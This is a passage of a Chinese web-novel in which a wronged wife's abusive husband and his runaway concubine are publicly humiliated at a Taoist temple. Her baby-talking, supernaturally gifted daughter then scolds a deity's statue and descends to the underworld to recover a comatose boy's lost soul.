她被许振山一路拖过来,嘴里发出断断续续的哀嚎。
是李莲茵。
他们身后跟着的许娇娇,更是小脸惨白,吓得哇哇大哭。
再后面跟着乌压压一群香客,指指点点,议论纷纷。
“这是怎么回事呀?”
“那不是许大人吗?他又在发什么疯?”
“他手里那个……好像是他那个小妾?”
“什么小妾,不是早跑了吗?听说是卷了银子跑的!”
“那跑了,怎么又回来了?”
许振山一路骂骂咧咧,把李莲茵拖到竹舍门口,狠狠一甩,把她摔在地上。
李莲茵整个人趴在地上,浑身发抖,连爬都爬不起来。
“你这个忘恩负义的臭婊子!”许振山指着她的鼻子,破口大骂,“老子掏心掏肺对你!把一切都给了你!你倒好,卷了银子就跑!完全置老子于不顾!”
“你知不知道老子那些日子怎么过的?你倒是在外面逍遥快活……”
他越说越气,抬起脚又要踹。
“今儿,你要给婉云,好好赔罪,若不是你故意惹她生气,还有这个小扫把星伤了呦呦,婉云怎么可能会离我而去。”
“若是你不能让她消气,看我怎么收拾你……”
“够了!”杨婉云不耐烦,又冷厉的声音响起。
许振山浑身一僵,看到一身清丽的杨婉云,已经站在竹舍门口。
他眼睛一亮,赶紧扔下李莲茵,三步并作两步冲过来。
“婉云!婉云你在这儿!太好了!”他满脸堆笑,伸手就要去拉杨婉云的手,“我是来给你赔罪的!我把这个贱人带来了,任凭你处置!”
“婉云,我知道错了,以前都是这个贱人挑拨离间,我才鬼迷心窍!现在我想明白了,我心里只有你!咱们重新开始好不好?”
杨婉云往后退了一步,厌恶地甩开他的手。
顾振宇上前一步,挡在她面前,脸色铁青。
许振山一愣,这才注意到顾振宇也在。
他的脸色,瞬间变得精彩极了。
“顾……顾将军?”他干笑一声,“您怎么也在这儿?”
顾振宇冷冷看着他,一言不发。
那眼神,完全就是在看一个死人。
许振山被他看得心里发毛,却还是硬着头皮挤出笑:“顾将军,您别误会,我就是来给我夫人赔罪的……”
“不想死,滚远点!”顾振宇终于开口,声音冷得像淬了冰。
许振山脸上的笑容僵住。
李莲茵狼狈不堪地趴在地上,抬起头,满眼怨毒地瞪着杨婉云。
“杨婉云!你个贱人”她嘶声尖叫,“是你把我害成这样,你满意了?”
“都是你!都是你这个贱人!若不是你,我也不会沦落至此!”
她挣扎着爬起来,就要往杨婉云身上扑。
顾振宇一脚踹在她膝盖上,李莲茵惨叫一声,又摔在地上。
许娇娇吓得哇哇大哭,哭声凄厉。
第52章 见你一次,打你一次
周围的香客议论声更大了。
“这……这又是什么情况?”
“这个女的,就是许大人那个平妻?”
“听说她卷了银子跑了,许大人找了她好久!”
“活该!谁让她当初欺负正妻,现在遭报应了吧!”
李莲茵趴在地上,听着周围的议论,浑身发抖。
她今日带着许娇娇来道观,是想为王爷求一个镇邪辟邪的平安符。
王爷不知怎的,最近日日梦魇,整个人已经被折磨得不成人样。
他天天做噩梦,说胡话,总说那些冤魂来找他索命,整个人疯疯癫癫的,见人就打,见东西就砸。
她身上的伤,有一部分就是他打的。
她实在受不了了,才想着来道观求个平安符,回去给他压压惊。
谁知道刚进山门,就被许振山撞个正着。
她还未来得及躲避,许振山像疯了一样冲上来,一把揪住她的头发,将她拖了一路。
她挣扎过,求饶过,可他根本不停手。
李莲茵趴在地上,眼泪混着血水往下流。
眼神却像刀子一般,无比恶毒地看着杨婉云。
那个女人,站在那里,衣袂飘飘,肤柔胜雪,面容沉静,明明是最素净的装扮,却也显得那般高贵端庄。
这通身的气派,哪有半分当初在许府时的隐忍委屈?
而她呢?
披头散发,鼻青脸肿,像条死狗一样趴在地上。
凭什么?
凭什么!
杨婉云站在竹舍门口,居高临下地看着地上这对狼狈不堪的男女,唇角勾起一抹嘲讽的弧度。
真讽刺啊!!
三年前,这个男人站在她面前,说会护她一世周全。
三年后,他站在她面前,说都是那个女人的错。
而李莲茵,趴在地上,正满眼怨毒地瞪着她,那眼神恨不得把她生吞活剥。
杨婉云忽然笑了,笑得让许振山心里一阵发毛。
“婉云……”他赶紧上前两步,满脸哀求,“婉云,我知道错了,看在咱们曾经的情分上,你再给我一次机会好不好?”
“看在咱们还有孩子的份上,你就原谅我这一回……”
“只要你回去,我肯定将这贱妇处置了,以后只有你一人,咱俩重新开始……”
他伸出手,试图去抓杨婉云的裙角。
杨婉云一脸嫌恶地往后退了一步。
李莲茵趴在地上,看着杨婉云那嫌弃的表情,忽然疯了一样笑起来。
“哈哈哈……许振山,你看到了吗?她不要你!她根本不要你!”
“你把我打死,她也不会看你一眼!”
“你活该!活该啊!”
许振山脸色铁青,转身狠狠踹了她一脚。
顾振宇脸色一沉,抬脚也踹了过去。
“砰!”
许振山整个人被踹飞出去,在地上滚了两圈,撞在台阶上,疼得龇牙咧嘴。
这一脚的力道,熟悉得让他心惊。
他捂着刚好一点的腿,猛地抬头看向顾振宇,眼中闪过惊恐。
这力道……
这角度……
前些日子,他隔三岔五就被人套麻袋暴揍,每次醒来都浑身青紫,偏偏连人影都见不着。
难道……
“顾、顾将军……”他嘴唇哆嗦着,话都说不利索。
顾振宇居高临下地看着他,眼神冷厉如剑。
“许振山,”他开口,声音不大,却字字如冰,“本将军最爱路见不平拔刀相助,你如此欺负妻女,又栽赃宠妾,本将军的眼睛,看匈奴都觉得比你顺眼。”
“从今往后,你若再敢骚扰她们母女……”
他顿了顿,唇角勾起一抹危险的弧度。
“本将军见你一次,打你一次。”
“不死不休!!”
许振山瞳孔骤缩,脸色惨白如纸。
他张了张嘴,想说什么,却一个字也说不出来。
顾振宇盯着他,往前踏了一步。
许振山吓得连滚带爬地往后缩,一把拽起地上的李莲茵,拖着她就跑。
“走走走!贱妇,快走!”
李莲茵被他拽得踉踉跄跄,头发散乱,鞋子都掉了一只。
许娇娇跟在后头,哭得上气不接下气。
一家三口,就这样狼狈不堪地消失在人群里。
周围瞬间传来了一片香客的哄笑声……
“哈哈哈哈,这许大人,现在就是咱京都城行走的的活笑话啊!”
“谁说不是呢,明天茶楼里说书的,又有新故事听了!”
“活该!谁让他宠妾灭妻!”
“再瞅瞅人家顾将军,年轻有为,忠肝义胆,这路见不平拔刀相助的侠义之气,就是吾辈之楷模啊!”
“顾将军威武……”
人群的叫好声,往顾振宇一边疯狂倒去。
顾振宇抬手,谦逊温和地对众人作个揖,安抚众人回去继续烧香祈福。
而杨婉云看着那三道狼狈逃窜的背影,心里思绪万千。
她转身,正要开口——
“哎哟喂!!!我的老祖宗诶!!!”
一道凄厉的哀嚎从竹舍里传出来。
紧接着,玄清道长跌跌撞撞地跑了出来,道袍歪斜,胡子乱翘,满脸写着生无可恋。
“完了完了完了……我完了……”
顾振宇一脸嫌弃:“你又发什么疯?”
玄清道长哭丧着脸:“你们快去看看吧,我家老祖宗被人欺负了!哭得那叫一个惨啊,在我耳边都嚎了半天,我脑袋都要炸了!”
顾振宇一愣:“你家老祖宗?哪个老祖宗?”
“元始天尊啊!”玄清道长欲哭无泪,“我道家祖师爷啊!刚在我耳边哭了小半个时辰!说有人欺负他!让我给他报仇!”
“噗……”顾振宇毫不留情地嗤笑出声。
“这世间,还有人敢欺负你道家老祖宗?”他拍拍玄清道长的肩膀,幸灾乐祸道,“这不是正合你意吗?你当年被你师父骗来当道士,在心里不知骂了多少回?”
“现在有人替你报仇,你该高兴才是。”
玄清道长差点一口老血喷出来。
“我高兴?!我高兴个屁!”他急得直跺脚,“这世上的凡人,是没人敢欺负他!可是……可是这里有个不平凡的小祖宗啊!”
他满脸祈求地看向杨婉云。
杨婉云心头一跳,瞬间明白了什么。
“道长,你是说……”
玄清道长疯狂点头,双手合十,就差给跪下了。
“杨夫人!求您了!您快去看看吧!再不去,贫道这道观就得炸了!贫道的脑袋也得炸了!”
第53章 泥滴大劫,米啦
杨婉云深吸一口气,跟着他往后堂走去。
顾振宇也一脸懵逼地跟在后面。
还没进门,就听见里面传来一道奶声奶气的声音,却骂得那叫一个抑扬顿挫,稚气十足。
“就数泥,最不似东西!”
“当初骗窝下乃,就数泥最积极!”
“还嗦什么好银家,富贵荣华,父母慈爱!”
“乃乃乃,泥告诉窝,哪点好?哪点好?”
“窝被扔井里滴时候,泥在哪儿?”
“窝凉被欺负滴时候,泥在哪儿?”
“泥个老东西,就似头头尾尾滴大骗子!”
……
“呸!为老不尊滴东西!泥等着!”
“等窝肥去,泥但凡还有一根毛毛,都似窝滴错!”
“以后,窝跟泥介臭道屎,要活活一个,要屎屎一个!泥最好好好想想,似泥屎,还似窝活?”
“还有,狗东西,泥搁介反省反省,寄几错在哪儿?”
“泥等着,窝肥去,第一个找泥!!”
“好辣!今天就跟你嗦介么多!后面想起来虾米,窝再来找泥算账!”
杨婉云推开门。
就看见许呦呦叉着小腰,站在一尊元始天尊的神像前,小脸气得通红,两个小揪揪竖的直直的。
而那神像,静静地立在那里。
但不知为何,总觉得它在瑟瑟发抖。
许呦呦听见动静,回头一看,小眼睛瞬间亮了起来。
“凉!”她张开小胳膊,屁颠屁颠跑过来,“泥肿么来啦?”
杨婉云蹲下身,把她抱起来。
“呦呦,你在做什么?”
小家伙理直气壮:“窝……窝在跟仇银叙旧呢!”
杨婉云:……
顾振宇:……
玄清道长:……
您是叙旧了,可贫道遭了大罪了啊!
他捂着脑袋,欲哭无泪。
许呦呦歪着头,上下打量着他。
“臭道屎,”她伸出小手,直愣愣地指着他,“泥身上那些因果,因为泥做了辣么多好事,功德足足滴,那狗屁大劫,早就米有啦!”
玄清道长愣住了。
他呆呆地站在那里,像是被雷劈了一样。
“小……小祖宗,你……你说什么?”
许呦呦眨眨眼:“窝嗦,泥滴大劫,米啦!”
没了??
玄清道长的眼眶,瞬间红了。
他想起了五岁那年。
那日,一个道士登门,说他天生就是修道的料,天赋异禀,慧根极足,只是命中有一大劫,只有跟着他,才能逢凶化吉。
于是,他告别爹娘,跟着那个道士上了山。
这些年,他吃了多少苦啊?
寒冬腊月,跪在雪地里抄经。
酷暑三伏,关在屋子里闭关。
别人玩耍的时候,他在打坐。
别人成亲的时候,他在念经。
他也想过跑。
可每次打算跑,那道士就义正言辞地说:“你命里大劫未消,下山就会死!”
他……信了。
信了十多年。
结果……
大劫早就没了?
玄清道长双腿一软,直接坐在地上。
“哇——”
他激动又委屈地一屁股坐在地上哭了出来。
“合着贫道这几年……终究错付了呀……”
“我那师父,为了自己逍遥快活的人生,竟然骗我!他骗我……”
顾振宇站在一旁,幸灾乐祸地补刀:“可不是嘛,你想想,你要是早下山,现在孩子都能打酱油了。”
玄清道长猛地抬起头,眼睛亮了。
对啊!
下山!!
现在下山也来得及啊!
他一骨碌从地上爬起来,撒腿就往外跑。
“去他奶奶个腿的,老子要去吃肉!要去喝酒!要去娶媳妇!要体验人间极乐……”
“再也不做这臭道士了!”
他跑得飞快,道袍在风中猎猎作响,活脱脱像一只放飞自我的老蝙蝠。
顾振宇看着他的背影,嘴角抽了抽:“这老小子,跑得倒是比兔子还快。”
话音刚落——
一个小太监气喘吁吁地跑了进来,手里举着一卷明黄帛书。
“玄清道长接旨!”
玄清道长的脚步,硬生生地卡顿了。
他缓缓回过头,脸上的表情,相当复杂……
“奉天承运,皇帝诏曰:年关将至,万象更新。兹定新年初,于天坛举行皇家祈福大典,祈上苍护佑,保东夏国泰民安、风调雨顺。特命玄清道长主持法事,领百官斋戒三日,恭行祭天大礼。钦此。”
玄清道长:╥﹏╥...
他站在原地,道袍依然还在风中翻飞,整个人却像被雷劈了一样。
顾振宇“噗”地笑出了声。
许呦呦眨巴眨巴眼,奶声奶气地问:“谁让泥当道屎,活该!臭道屎,米一个好东西!!”
玄清道长:……
你们礼貌吗?
该伤心的人,是他,好吗?
下山的时候,杨婉云抱着呦呦走在前面,顾振宇亦步亦趋地跟在后面。
他想跟上马车,又怕惹人闲话。
就这么一路跟到山脚,眼睁睁看着杨婉云上了马车。
马车帘子放下来的一瞬间,他看见许呦呦从车窗探出小脑袋,冲他挥了挥小手。
“爹爹,加油哦!”
顾振宇心里一暖,也挥了挥手。
直到马车远去,他还站在原地,傻乎乎地笑着。
两日后。
杨婉云将收拾好的学习用品,重新检查了一遍。
再次确认没有问题,才交给了冬梅。
许呦呦窝在榻上,小手里攥着一个鼓鼓囊囊的荷包,时不时拿出来数一数里面的银子。
十两!
整整十两啊!
她这辈子,不,加上上辈子,都没拥有过这么多钱!
杨婉云走进来,看着她那副小财迷的样子,忍不住笑了。
“呦呦,今日学堂正式开学,东西娘都给你准备好了。”
“我们马上就走!”
许呦呦的小脸,瞬间垮了下来。
她可怜巴巴地抬起头,眨巴着大眼睛:“凉亲,窝肚纸有点不舒服……阔不阔以请假呀?”
杨婉云笑眯眯地伸出手,“可以呀,把娘的银子还回来就行!”
许呦呦下意识把荷包藏到身后。
“扒扒扒,扒请假!绝扒请假!”她死死捂着荷包,“肘肘肘,窝可爱上学了!”
杨婉云憋着笑,点了点头。
话音刚落,刘嬷嬷匆匆进来。
“夫人,淮南王妃求见。”
许呦呦在一旁,小嘴一咧,嘟嘟囔囔,“康吧,瞌睡就有银送枕头,理由,介不就乃了嘛!”
杨婉云一愣,赶紧起身去迎。
许呦呦趁机把荷包藏得更深了些。
第54章 就似,丢了个魂而已
片刻后,淮南王妃被引了进来。
只见她双眼红肿,脸色苍白,一副泫然欲泣的样子。
杨婉云心里一紧:“王妃,这是怎么了?”
淮南王妃的眼泪,瞬间就下来了。
“杨夫人……我家轩儿他……昏迷至今未醒……”
杨婉云大惊。
淮南王妃哽咽着,把事情说了一遍。
原来,从两日前开始,谢怀轩就陷入昏迷,迟迟不醒。
太医来了无数,想了各种办法,针灸、灌药、推拿,全试过了,可孩子就是醒不过来。
“顾将军已经去三清观请玄清道长了,”淮南王妃抹着眼泪,“可是……可是我实在等不及了……”
她看向许呦呦,眼中满是祈求。
“那日从宫里回来,轩儿嘴里就一直念叨‘妹妹’,我想着,或许……或许呦呦去看看他,他就有希望醒过来呢……”
杨婉云沉默了。
谢怀轩的病,她是知道的。
那不是普通的病。
呦呦去了,治不治的好不知道,但对呦呦……
她低头看向怀里的女儿,脸上闪过纠结,闪过犹豫……
淮南王妃看出她的纠结,都是当娘的,哪里不能体会。
于是她上前一步,郑重地行了一礼。
“杨夫人,我发誓,只让呦呦去看看轩儿,就看一眼!旁的什么都不求!”
“若是有什么不妥,我淮南王府一力承担!”
杨婉云看着她诚恳的样和双红肿的眼睛,心里叹了口气。
“王妃言重了。”她抱起呦呦,“走吧,我陪呦呦去一趟。”
“凉,辣今日,扒用上学啦?”许呦呦眼神灼灼地看着她娘。
“今日情况特殊,娘命人去给你请假。”
“介阔不似窝不想去滴哦。”小姑娘一边说,还用手将怀里的银子捂了捂。
杨婉云:……
马车上,许呦呦趴在车窗边,看着外面的街景。
杨婉云还是有些不放心,轻声道:“呦呦,一会儿见到轩儿哥哥,你先看看,切不要勉强自己,知道吗?”
许呦呦回过头,认真地点点头。
“凉亲放心,窝寄道。”
她摸了摸怀里那个鼓鼓囊囊的荷包,小声嘟囔了一句:
“毕竟还有十两银子,窝还米花呢……”
不多时,便到了淮南王府。
王府的大门早已敞开,淮南王妃领着杨婉云一行人匆匆往里走。
穿过重重院落,终于来到谢怀轩所住的主院。
刚进院子,许呦呦的小脸就皱成了一团。
“咳咳……”她捂住鼻子,小眉头拧成麻花,“介似什么味道?熏屎窝了!”
满院子的药渣味,浓得化不开,混着炭火的气息,呛得人直想打喷嚏。
杨婉云也微微蹙眉,却不好说什么。
淮南王妃满脸愧疚,赶紧解释:“这几日太医轮流来看,开的方子都不一样,煎药就没停过……”
许呦呦嘟着小嘴,嘟嘟囔囔地往里走:“哎,次辣么多药,毛用米有。他又不似病了,他只似……”
话说到一半,小家伙忽然停住了。
淮南王妃心里一惊,猛地看向她。
只是什么?
可许呦呦已经嫌弃地抿着嘴,什么都不肯说了。
淮南王妃赶紧吩咐院中丫鬟小厮。
“来人!”她沉声道,“把这些药炉药罐全部撤走,窗户全都打开,把味道散去!”
下人们一愣,随即手忙脚乱地开始收拾。
“还有,”淮南王妃看向院中众人,“所有人都退到院外去,没有本王妃的允许,谁也不许进来。”
片刻之间,院子里就清净了。
只剩下淮南王妃、杨婉云、冬梅,还有床上躺着的谢怀轩。
许呦呦迈着小短腿,走到床边,踮起脚尖看了一眼。
谢怀轩静静地躺在床上,小脸苍白,呼吸微弱,那双曾经亮晶晶的眼睛紧紧闭着。
小家伙足足看了几眼,然后……
“哎——”
深深叹了口气。
这一声叹,叹得淮南王妃一颗心直接跌到谷底。
她的眼泪,瞬间汹涌而出。
“呦呦……是不是……是不是轩儿他……”
许呦呦回头看了她一眼,小嘴一撇。
“泥哭虾米?”
“他又没嘎。”
淮南王妃的哭声,硬生生卡在喉咙里。
“他就似睡着啦。”
说着,她又叹了口气。
“哎——”
这一声叹,比刚才还长,还深。
淮南王妃的心又悬了起来。
杨婉云也跟着紧张起来:“呦呦,是不是……说了对你有什么不好的影响?”
许呦呦歪着头想了想。
“那倒扒似。目前,还米有东西能影响到窝,除了……”
她的小胖手,下意识摸了摸怀里的荷包。
除了最爱的钱钱呀!!
淮南王妃愣了一瞬。
随即,她瞬间明了。
“来人!不,不用来人!”她快步走到柜子前,从里面拿出一个精致的荷包,塞到许呦呦手里。
“呦呦,姨姨懂,各行有各行的规矩!”
许呦呦眼睛一亮,接过荷包,打开一看——里面白花花的银子,足足有二十两!
小家伙笑得见牙不见眼,却还是按照规矩,只从里面拿出几个铜板,塞进自己的小荷包里。
凉亲嗦了,做银得有原则和底线呢!
不能白拿银家东西!
然后,她一边拿起桌上的糕点,狠狠咬了一口,一边漫不经心地说:
“他啊,米大事。”
“就似……丢了个魂而已。”
丢魂?
淮南王妃脑子里“嗡”的一声。
她猛地看向床上的儿子。
那空洞的眼神,那毫无灵气的样子,那对外界毫无反应的模样——
不就是跟丢了魂一样吗?
她忽然想起民间那些说法,什么小孩子受了惊吓会丢魂,什么要喊魂才能回来……
可她一直以为是迷信!
淮南王妃的腿都软了,扶着桌子才勉强站稳。
“呦呦……那……那怎么办?”她的声音都在发抖,“轩儿的魂……丢在哪儿了?还能找回来吗?”
许呦呦嚼着糕点,小腮帮子鼓鼓囊囊。
“找似能找回来……”
“但似,哎……”
小姑娘又深深叹了口长长的气,又狠狠咬了一口糕点。
淮南王妃眼巴巴地看着她,大气都不敢出。
杨婉云也紧张地盯着女儿,“呦呦,是不是找他的魂,对你会有什么影响?”
许呦呦把最后一口糕点塞进嘴里,拍拍小手,“那倒也米有,就似……就似窝……不想去!”
毕竟,地府门口,那块写着她名字的牌子,还竖在那,她……多少还是有点不好意思滴。
第55章 让他给你当小厮
杨婉云终于放下心来。
淮南王妃见许呦呦那副纠结的小模样,心里瞬间明白了。
她赶紧上前,把荷包拿过来,将里面的铜板全部翻出来,一股脑儿塞进小家伙自己的小荷包里。
“呦呦,姨姨明白。”她一边塞一边说,“若是你觉得不妥,那咱便不去。轩儿……轩儿他命该如此,姨姨不强求。”
她说着,眼眶又红了,却硬生生挤出一个笑容。
“姨姨已经很感谢呦呦了,真的。”
许呦呦低头看着自己那个被塞得鼓鼓囊囊的小荷包,再看看淮南王妃那张强颜欢笑的脸,又看看床上那个一动不动的谢怀轩。
然后——
“哎……”
依然深深叹了口气。
这一声叹,比之前那几声加起来都长。
淮南王妃的心又悬了起来。
杨婉云也紧张了:“呦呦?”
小家伙把小荷包捂在怀里,小脸上写满了纠结。
算咧算咧。
拿人手短,吃人嘴软。
小家伙眨巴眨巴眼,终于开口:
“算咧,窝去把他滴魂,找肥来吧。”
淮南王妃一愣,随即大喜:“呦呦,真的吗?你真能将轩儿的魂找回来?”
“真滴真滴。”小家伙摆摆手,又想起什么,扭头看向杨婉云。
“就似,凉——”
她拖长了尾音,眨巴着大眼睛。
“明日,窝阔能又得请假咯。”
“窝晚上得去给他找魂,找肥来,天都亮咧。”
“先嗦好哈,”她一本正经地强调,“阔不似窝不稀饭上学!似窝有正经事要办!”
杨婉云愣了一瞬,随即哭笑不得。
合着这她在这唉声叹气了半天,是因为这个?
“好,”杨婉云无奈地点头答应,“明日继续请假。”
淮南王妃一听许呦呦答应了,当即热泪盈眶。
“杨夫人,呦呦的大恩大德,我淮南王府没齿难忘!”
“等轩儿好了,就让他去给呦呦当小厮!天天跟着你,供你差遣!”
许呦呦眼睛一亮:“小厮?似虾米?”
“就是……就是跟着你,给你跑腿,帮你拿东西,你想吃什么他就去给你买!”
“窝懂了,就似他阔以代窝去上学,给窝写作业……”小家伙十分认真地思考了一下。
要这样的话,当她小厮,也扒似扒行!
杨婉云:……
淮南王妃:……
许呦呦笑眯眯地点头:“好趴好趴!窝收辣!”
杨婉云吓了一跳,赶紧摆手:“王妃,这可使不得!世子,将来是要承袭王位的,怎么能……”
“杨夫人,”淮南王妃打断她,神色认真,“你别着急拒绝。”
她拉着杨婉云的手,轻声道:“轩儿这孩子,自打两岁那年出事,我就知道,他这一生怕是与常人不同了。”
“太医说,他这毛病,或许一辈子都好不了。我和王爷日日忧心,就怕他将来受人欺负,连王府的门都出不了。”
她看向许呦呦,眼中满是希冀的光。
“可那日在宫里,他看见呦呦,竟然开口喊‘妹妹’!从那以后,日日念叨,夜夜念叨,嘴里翻来覆去就是这两个字。”
“呦呦能让他开口,能让他笑,能让他像个正常孩子一样——这就是他的福气!”
“让他跟着呦呦,是他的造化!将来就算承袭王位,也不过是个空壳子。可跟着呦呦,他才有希望变成一个真正的人!”
杨婉云听着这番话,张了张嘴,推脱的话,怎么也说不出口。
她心里也明白,淮南王妃的另一个深意,就是为了给呦呦撑腰。
毕竟淮南王现在的地位如日中天,谢怀轩又是他唯一的儿子,身份尊贵,让他去给呦呦当小厮,这就是明晃晃的抬举。
淮南王妃拍拍她的手,笑道:“你就别推辞了。这是轩儿最好的出路,呦呦既然能帮他把魂找回来,跟在她身边,肯定也能帮他把魂魄养好。”
杨婉云,终于点了点头。
晚膳时分。
淮南王妃命人摆了一桌子的菜,满满当当,全是小孩子爱吃的。
红烧肘子、糖醋排骨、蜜汁鸡腿、桂花糕、枣泥酥……
许呦呦的眼睛都直了。
她一手抓起一个鸡腿,一手抓起一个猪蹄,左边咬一口,右边咬一口,小嘴塞得满满当当,腮帮子鼓得像只小仓鼠。
“唔……好次!太好次了!”
她一边吃,一边还不忘往兜里揣两个。
杨婉云和淮南王妃坐在一旁,满腹心思,筷子都没动几下。
就在这时,门外传来一阵脚步声。
“王妃,王爷回来了!”
紧接着,帘子掀开,一个身材魁梧的中年男子大步走了进来,眉眼间与谢怀轩有几分相似,正是淮南王。
他身后,跟着一脸疲惫的顾振宇,还有……
“小祖宗!!!”
玄清道长一眼看见许呦呦,两眼放光,像狗见了肉骨头一样,撒腿就冲了过来,贴了上去。
“小祖宗!您也在这儿呀!哎呀,太好了太好了!贫道终于见着您了!”
他蹲在许呦呦面前,满脸堆笑,那狗腿的样子,活像一只摇尾巴的老狗。
许呦呦嘴里塞着鸡腿,嫌弃地看了他一眼。
“小祖宗,您不知道,自从那日您教训完老祖宗,老祖宗日日托梦给贫道啊!”
他左右看看,压低声音,然后神秘兮兮地说:
“老祖宗都说了,让贫道好好抱紧您的大腿,说您的腿,是天上地下最稳固的腿了!”
“他还给了贫道一本修炼秘籍!”玄清道长激动的胡子都在抖,“就塞在贫道枕头底下!那秘籍,厉害得离谱啊!贫道修行几十年,从来没见过那么厉害的法门!”
“小祖宗!您就是贫道的祖宗……是贫道的指路明灯!是贫道……”
“闭嘴!”
许呦呦终于忍不住了,小手一指。
“臭道屎,米一个好东西!”
话音刚落,顾振宇立刻凑上来,义正言辞地附和:
“对!我闺女说得对!这臭道士,就不是好东西!”
他斜眼看着玄清道长,一脸嫌弃。
这臭道士,现在满脑子都是吃喝玩乐,快活潇洒。
要不是他拎着他跑得快,他又得错过见婉云和闺女了!
玄清道长委屈巴巴地缩了缩脖子。
第56章 恭迎小祖宗
一直等到子时。
月光如水,洒在院中。
谢怀轩被人抬了出来,放在一张软榻上,静静地躺在月光里。
许呦呦迈着小短腿,走到院子中央。
她从地上捡起一根树枝,认认真真地在地上画了起来。
一圈,两圈,三圈……
一个个歪歪扭扭的圆圈,横七竖八地出现在地上。
那圆圈扭得像条扭动的蚯蚓,就是……嗯……挺特别的。
玄清道长跟在后面,伸着脖子看,忍不住问:“小祖宗,您这画的是什么法阵?为何如此……呃……别致?”
许呦呦头也不回:“闭嘴。”
玄清道长静默了一息。
又忍不住了:“小祖宗,您这法阵需要加持吗?贫道这里有上好的符纸……”
“闭嘴!”
“小祖宗,您需不需要护法?贫道可以……”
“闭嘴!!!”
许呦呦终于回头,小脸气得通红,两个小揪揪都直直竖起来了。
“泥再多嗦一句话,窝就把泥带下去!”
“永不超生滴辣种!”
玄清道长瞬间把自己的嘴巴捂得死死的,一个字都不敢再说。
顾振宇在一旁幸灾乐祸:“活该!”
淮南王和淮南王妃站在一旁,满脸担忧地看着许呦呦。
“呦呦,”杨婉云忍不住上前,“你真的不会有危险吗?”
许呦呦回过头,冲她咧嘴一笑。
“凉,泥们放心哈,窝……米有危险滴。”
她顿了顿,又深深叹了口气。
“就似……哎……”
这一声叹,叹得众人心里七上八下。
“算咧,窝还似先下去康康趴。”
说着,她小手一掐诀。
月光下,那个歪歪扭扭的圆圈忽然亮了起来,发出一圈幽幽的光芒。
下一瞬,许呦呦的身影,消失在了圆圈里。
众人眼睛一眨不眨,愣在原地。
玄清道长捂着嘴,眼睛瞪得像铜铃。
顾振宇下意识往前冲了一步,被淮南王一把拉住。
“别急,”淮南王沉声道,“呦呦说让咱们等着,咱们先等等看。”
月光静静地洒在院中。
那个歪歪扭扭的圆圈,还在地上,一闪一闪地发着光。
另一边的地府门口。
许呦呦仰着小脑袋,望着那块高耸的石碑。
石碑上,歪歪扭扭刻着几个大字——
许呦呦到此一(此处画了个游泳的火柴人)。
旁边还画了个小揪揪的图案。
哎……
往事不堪回首啊。
她当初刻的时候有多嚣张,现在就有多尴尬。
这下好了,求上门来了……
小家伙缩了缩脖子,鬼鬼祟祟地四处张望一圈,然后蹑手蹑脚地往里摸。
门口,一个鬼差正靠在石碑上,脑袋一点一点,睡得正香。
呼噜声震天响,口水都流到胸口的衣服上了。
许呦呦凑过去,伸出小胖手,轻轻戳了戳他的脸。
“喂——”
鬼差一个激灵,猛地睁开眼。
对上一张粉粉糯糯的小脸。
那双圆溜溜的大眼睛,正笑眯眯地看着他。
鬼差愣了半响。
然后——
“啊——!!!”
一声凄厉的惨叫,鬼差差点魂飞魄散。
“小……小祖宗来啦!!!”他连滚带爬地往后缩,“警戒警戒!快,一级警戒!小祖宗来啦!!!”
话音未落,那石碑忽然剧烈震颤起来。
一阵无形的波纹从石碑上荡漾开去,紧接着,地府深处传来一阵清脆的铃声……
叮铃铃铃——
那是跟石碑相连的无形风铃,专门用来传递消息的。
不,是专门用来传递许呦呦到此的消息!
下一瞬。
两道身影“嗖”地出现在门口。
阎王和判官。
两人站得笔直,战战兢兢,又如履薄冰。
最后,强行扯出一个比哭还难看的笑脸。
“恭……恭迎小祖宗!”
“不知小祖宗驾到,有失远迎,有失远迎啊……”
阎王一边说,一边偷偷往后挪了半步。
判官拼命点头,点头哈腰的样子,活像一只被吓破胆的丧家之犬。
许呦呦背着小手,老神在在地冲他们点点头。
“嗯,起来吧。”
然后,迈着小短腿,大摇大摆地走了进去。
门口那个鬼差,终于长长地吐了口气。
“呼——真是吓死鬼了……”
他瘫坐在地上,浑身还在发抖。
“以后看门,决不能睡觉……决不能睡觉……决不能睡觉……”
重要的事情说三遍。
地府里。
许呦呦背着手,在前面走着,阎王和判官低着头,弓着腰,在后面跟着。
两人的眼睛死死盯着那个小小的背影,大气都不敢出。
判官在阎王的胳膊肘不停地捅咕下,终于颤颤巍巍地开口:
“小……小祖宗,您这好久不来地府,这次来是……?”
许呦呦没说话,继续往前走。
判官眼珠子一转,看见她往左边拐,赶紧一个箭步冲上去拦住。
“诶诶诶!小祖宗!那边咱还是别去了!”
“孟婆的汤,今天都喝完了!您要是想喝,我让她单独给您熬行吗?”
许呦呦脚步一顿,瞥了他一眼。
判官赶紧赔笑。
小家伙没理他,转身又往右边走。
判官当即又冲上去:“哎呦,那边……也不行啊,小祖宗,那边现在寸草不生,没啥好看的呀!”
“那儿的彼岸花,上次被您薅光了,到现在连小芽芽都没长出来……”
许呦呦停下脚步,四处张望一圈。
判官脸上的笑容更灿烂了,就差皱子跟皱子叠交了。
于是小家伙又换了个方向,继续正前方走去。
判官吓得的脸都白了。
“哎哟喂!小祖宗!那边您还是放过他们吧!”
“十八层地狱那帮恶鬼,自打您上次跟他们玩过后,他们现在宁愿每天在烈火烹油中熬着,也不想出来啊!怎么拽都拽不出来的那种!”
许呦呦终于停下脚步,回头看了他一眼。
那眼神,说不上是嫌弃还是无语。
判官讪讪地闭上嘴。
阎王站在一旁,一言不发。
但他的动作很诚实——
两只手死死捂着袖口,一脸警惕地盯着许呦呦。
许呦呦看看判官,又看看阎王,忽然叹了口气。
“泥俩,别紧张哈!”
她摆摆小手。
“窝介次乃,阔不似薅……扒,扒似要东西滴。”
阎王和判官对视一眼,两人同时长长地松了口气。
不是来薅东西的!
那就好!那就好!
第57章 妹妹
“窝就似来,找个银。”
找人?
阎王和判官的眼睛瞬间亮了。
找人好啊!
只要在地府,那随便找!
阎王赶紧凑上来,满脸堆笑:“小祖宗您说!您要找谁?只要是地府的人,我立马给您调出来!”
“就算不是地府的人,我也想办法给您调出来……”
许呦呦背着小手,依旧老神在在地开口:“窝要找滴人,叫谢怀轩。”
判官赶紧翻开手里的名册,哗啦啦翻了几页,抬起头,满脸堆笑地问:“小祖宗,您找的谢怀轩是哪个轩?是宣传的宣,还是轩辕的轩?”
许呦呦两个小揪揪,瞬间竖了起来,小眼睛瞪的溜圆。
“泥问窝,似哪个轩?”
“泥似欺负窝扒识字,是扒?”
判官脸上的笑容一滞,浑身瞬间僵硬。
